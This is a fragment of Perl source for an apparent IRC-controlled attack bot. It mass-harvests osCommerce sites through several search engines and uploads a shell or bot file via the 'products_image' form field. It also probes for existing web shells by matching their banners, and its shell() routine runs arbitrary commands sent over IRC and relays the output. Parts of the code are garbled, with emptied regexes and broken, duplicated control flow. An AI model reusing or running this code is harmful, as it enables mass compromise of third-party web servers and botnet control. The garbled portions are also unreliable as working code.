osc_upl_query() { my $url = $_[0]; my $ua = LWP::UserAgent->new(agent => $uagent); $ua->timeout(20); my $req = $ua->post($url, Content_Type=>'form-data', Content=>["products_image"=>["$osco_shell"]]); return $req->content; } sub osc_uplbot_query() { my $url = $_[0]; my $ua = LWP::UserAgent->new(agent => $uagent); $ua->timeout(20); my $req = $ua->post($url, Content_Type=>'form-data', Content=>["products_image"=>["$osco_bot"]]); return $req->content; } ######################################### SEARCH ENGINE sub jack() { my @list; my $key = $_[0]; my $jackx = $_[1]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jackx.uri_escape($key)."&num=100&start=".$i); my $res = &search_engine_query($search); while ($res =~ m//g) { my $link = $1; if ($link !~ /onet|webcache|query/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub clusty() { my @list; my $key = $_[0]; my $b = 0; for ($b=10; $b<=200; $b+=10) { my $search = ("http://search.yippy.com/search?input-form=clusty-simple&v%3Asources=webplus-ns-aaf&v%3Aproject=clusty&query=".uri_escape($key)."&v:state=root|root-".$b."-20|0&"); my $res = &search_engine_query($search); if ($res !~ /next/) {$b=100;} while ($res =~ m/]*)\"/g) { my $link = $1; if ($link !~ /uol\.com\.br|\/web/i){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub seznam() { my @list; my $key = $_[0]; for ($b=1; $b<=300; $b+=20) { my $search = ("http://search.seznam.cz/?q=".uri_escape($key)."&count=20&from=".$b); my $res = &search_engine_query($search); while ($res =~ m/href=\"?http:\/\/([^\">]*)\"/g) { my $link = $1; if ($link !~ /seznam\.cz|chytrevyhledavani\.cz|smobil\.cz|sklik\.cz/i){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub hotbot() { my @list; my $key = $_[0]; for ($b=0; $b<=50; $b+=1) { my $search = ("http://www.hotbot.com/search/web?pn=".$b."&q=".uri_escape($key)); my $res = &search_engine_query($search); if ($res =~ m/had no web result/i) {$b=50;} while ($res =~ m/href=\"http:\/\/(.+?)\" title=/g) { my $link = $1; if ($link !~ /hotbot\.com/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub aol() { my @list; my $key = $_[0]; for ($b=0; $b<=300; $b+=10) { my $search = ("http://search.aol.com/aol/search?q=".uri_escape($key)."&page=".$b); my $res = &search_engine_query($search); while ($res =~ m/href=\"http:\/\/(.*?)\"/g) { my $link = $1; if ($link !~ /aol\.com/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub biglobe { my $key = $_[0]; my @list; for ($b=1; $b<=500; $b+=10) { $num += $num; my $search = "http://cgi.search.biglobe.ne.jp/cgi-bin/search-st_lp2?start=".$b."&ie=utf8&num=".$num."&q=".uri_escape($key)."&lr=all"; my $res = &search_engine_query($search); while ( $res =~ m//) { $safe = $1;} if ($check =~ m/Uname : (.*?)<\/b>/){ $os=$1;} if(lc($safe) eq "on") { $safe = "14ON";} else { $safe = "3OFF";}; if($os ne ""){ @result = (); @result = ($siteUrl, $os, $safe,$key); last; } } elsif($check =~ m/Software/ig or $check =~ m/Freespace/ig) { $safe = '';$os = ''; if ($check =~ m/SAFE MODE : (.*?)<\/b><\/font>/) {$safe = $1;} if($safe eq "") { if ($check =~ m/SAFE MODE is (.*?)\(/) {$safe = $1;} } if ($check =~ m/OS : (.*?)
/) {$os = $1;} if ($safe =~ /ON/i) { $safe = "14ON";} else { $safe = "3OFF";}; if($os ne ""){ @result = (); @result = ($siteUrl, $os, $safe,$key); last; } } elsif ($check =~ m/Safe-mode/ig) { $safe = '';$os = ''; if ($check =~ m/Safe-mode:(.*?)\]/i) {$safe = $1;} if ($check =~ m/OS:(.*?)\]/i) {$os = $1;} if ($safe =~ /ON/i) { $safe = "14ON";} else { $safe = "3OFF";}; if($os ne ""){ @result = (); @result = ($siteUrl, $os, $safe,$key); last; } } elsif ($check =~ m/Uname/ig or $check =~ m/Hdd/ig) { $safe = '';$os = ''; if ($check =~ m/Safe mode:<\/span>(.*?)<\/b>/i) {$safe = $2;} if ($check =~ m/Cwd:<\/span><\/td>(.*?)?<\/nobr>/i) {$os = $1;} if ($safe =~ m/ON/i) { $safe = "14ON";} else { $safe = "3OFF";}; if($os ne ""){ @result = (); @result = ($siteUrl, $os, $safe,$key); last; } } elsif ($check =~ m/post\>Password:/ig or $check =~ m/name\=\"pass\"/ig) { @result = (); @result = ($siteUrl, $os, $safe,$key); last; } elsif ($check =~ m/Shell/ig or $check =~ m/Pengguna/ig) { $safe = "3OFF";$os = ''; if ($check =~ /Sistem : (.*?)<\/b>/){$os=$1;} if($os ne ""){ @result = (); @result = ($siteUrl, $os, $safe,$key); last; } } else { if($check =~ m/\[uname\]/ig) { $safe = '';$os = ''; if ($check =~ m/\[uname\](.*?)\[\/uname\]/i){$os=$1;} if ($check =~ m/Safe Mode = (.*?)>/i) {$safe = $1;} if($os ne ""){ @result = (); @result = ($siteUrl, $os, $safe,$key); last; } } } $key++; } return @result; } sub clean() { my @cln = (); my %visit = (); foreach my $element (@_) { $element =~ s/\/+/\//g; next if $visit{$element}++; push @cln, $element; } return @cln; } sub links() { my @list; my $link = $_[0]; my $host = $_[0]; my $hdir = $_[0]; $hdir =~ s/(.*)\/[^\/]*$/\1/; $host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/; $host .= "/"; $link .= "/"; $hdir .= "/"; $host =~ s/\/\//\//g; $hdir =~ s/\/\//\//g; $link =~ s/\/\//\//g; push(@list,$host,$hdir); return @list; } sub search_engine_query() { my $url = $_[0]; $url =~ s/http:\/\///; my $host = $url; my $query = $url; my $page = ""; $host =~ s/href=\"?http:\/\///; $host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/; $query =~ s/$host//; if ($query eq "") { $query = "/"; } eval { my $sock = IO::Socket::INET->new(PeerAddr=>"$host", PeerPort=>"80", Proto=>"tcp") or return; my $sget = "GET $query HTTP/1.0\r\n"; $sget .= "Host: $host\r\n"; $sget .= "Accept: */*\r\n"; $sget .= "User-Agent: $uagent\r\n"; $sget .= "Connetion: Close\r\n\r\n"; print $sock $sget; my @pages = <$sock>; $page = "@pages"; close($sock); }; return $page; } ######################################### sub backdoorCheck { my ($site,@path) = @_; my @result = ("false"); my $url; my $safe; my $os; my $siteUrl; my $key = 0; foreach my $path(@path) { if($path =~ /\+/) { my @part = split(/\+/,$path); $url = "http://".$site.$part[0]."?".$part[1]; $siteUrl = "http://".$site.$part[0]; } else { $url = "http://".$site.$path; $siteUrl = "http://".$site.$path; } my $check = &get_content($url); sleep(3); if($check =~ m/SAFE_MODE/ig or $check =~ m/Uname/ig or $check =~ /GIF89a/ig){ $safe = '';$os = ''; if ($check =~ m/SAFE_MODE : (.*?)<\/b>/) { $safe = $1;} if ($check =~ m/Uname : (.*?)<\/b>/){ $os=$1;} if(lc($safe) eq "on") { $safe = "14ON";} else { $safe = "3OFF";}; if($os ne ""){ @result = (); @result = ($siteUrl, $os, $safe,$key); last; } if($check =~ m/GIF89aGLO /ig or $check =~ m/Uname/ig or $check =~ /Peterson - Shell/ig){ $safe = '';$os = ''; if ($check =~ m/SAFE_MODE : (.*?)<\/b>/) { $safe = $1;} if ($check =~ m/Uname : (.*?)<\/b>/){ $os=$1;} if(lc($safe) eq "on") { $safe = "14ON";} else { $safe = "3OFF";}; if($os ne ""){ @result = (); @result = ($siteUrl, $os, $safe,$key); last; } if($check =~ m/BArNEr/ig or $check =~ m/Uname/ig or $check =~ /GIF89a/){ $safe = '';$os = ''; if ($check =~ m/SAFE_MODE : (.*?)<\/b>/) { $safe = $1;} if ($check =~ m/Uname : (.*?)<\/b>/){ $os=$1;} if(lc($safe) eq "on") { $safe = "14ON";} else { $safe = "3OFF";}; if($os ne ""){ @result = (); @result = ($siteUrl, $os, $safe,$key); last; } if($check =~ m/xScaN - exploit/ig or $check =~ m/Uname/ig or $check =~ /GIF89a/){ $safe = '';$os = ''; if ($check =~ m/SAFE_MODE : (.*?)<\/b>/) { $safe = $1;} if ($check =~ m/Uname : (.*?)<\/b>/){ $os=$1;} if(lc($safe) eq "on") { $safe = "14ON";} else { $safe = "3OFF";}; if($os ne ""){ @result = (); @result = ($siteUrl, $os, $safe,$key); last; } } if($check =~ m/pagat - exploit/ig or $check =~ m/Uname/ig or $check =~ /pagat - exploit/){ $safe = '';$os = ''; if ($check =~ m/SAFE_MODE : (.*?)<\/b>/) { $safe = $1;} if ($check =~ m/Uname : (.*?)<\/b>/){ $os=$1;} if(lc($safe) eq "on") { $safe = "14ON";} else { $safe = "3OFF";}; if($os ne ""){ @result = (); @result = ($siteUrl, $os, $safe,$key); last; } } elsif($check =~ m/Software/ig or $check =~ m/Freespace/ig) { $safe = '';$os = ''; if ($check =~ m/SAFE MODE : (.*?)<\/b><\/font>/) {$safe = $1;} if($safe eq "") { if ($check =~ m/SAFE MODE is (.*?)\(/) {$safe = $1;} } if ($check =~ m/OS : (.*?)
/) {$os = $1;} if ($safe =~ /ON/i) { $safe = "14ON";} else { $safe = "3OFF";}; if($os ne ""){ @result = (); @result = ($siteUrl, $os, $safe,$key); last; } } elsif ($check =~ m/Safe-mode/ig) { $safe = '';$os = ''; if ($check =~ m/Safe-mode:(.*?)\]/i) {$safe = $1;} if ($check =~ m/OS:(.*?)\]/i) {$os = $1;} if ($safe =~ /ON/i) { $safe = "14ON";} else { $safe = "3OFF";}; if($os ne ""){ @result = (); @result = ($siteUrl, $os, $safe,$key); last; } } elsif ($check =~ m/Uname/ig or $check =~ m/Hdd/ig) { $safe = '';$os = ''; if ($check =~ m/Safe mode:<\/span>(.*?)<\/b>/i) {$safe = $2;} if ($check =~ m/Cwd:<\/span><\/td>
(.*?)?<\/nobr>/i) {$os = $1;} if ($safe =~ m/ON/i) { $safe = "14ON";} else { $safe = "3OFF";}; if($os ne ""){ @result = (); @result = ($siteUrl, $os, $safe,$key); last; } } elsif ($check =~ m/post\>Password:/ig or $check =~ m/name\=\"pass\"/ig) { @result = (); @result = ($siteUrl, $os, $safe,$key); last; } elsif ($check =~ m/Shell/ig or $check =~ m/Pengguna/ig) { $safe = "3OFF";$os = ''; if ($check =~ /Sistem : (.*?)<\/b>/){$os=$1;} if($os ne ""){ @result = (); @result = ($siteUrl, $os, $safe,$key); last; } } else { if($check =~ m/\[uname\]/ig) { $safe = '';$os = ''; if ($check =~ m/\[uname\](.*?)\[\/uname\]/i){$os=$1;} if ($check =~ m/Safe Mode = (.*?)>/i) {$safe = $1;} if($os ne ""){ @result = (); @result = ($siteUrl, $os, $safe,$key); last; } } } } } } $key++; } return @result; } sub shell() { my $path = $_[0]; my $cmd = $_[1]; if ($cmd =~ /cd (.*)/) { chdir("$1") || &msg("$path","No such file or directory"); return; } elsif ($pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my @output = `$cmd 2>&1 3>&1`; my $c = 0; foreach my $output (@output) { $c++; chop $output; &msg("$path","$output"); if ($c == 5) { $c = 0; sleep 3; } } exit; }} } sub isAdmin() { my $status = 0; my $nick = $_[0]; if ($nick eq $admin) { $status = 1; } return $status; } sub msg() { return unless $#_ == 1; sendraw($IRC_cur_socket, "PRIVMSG $_[0] :$_[1]"); } sub nick() { return unless $#_ == 0; sendraw("NICK $_[0]"); } sub notice() { return unless $#_ == 1; sendraw("NOTICE $_[0] :$_[1]"); }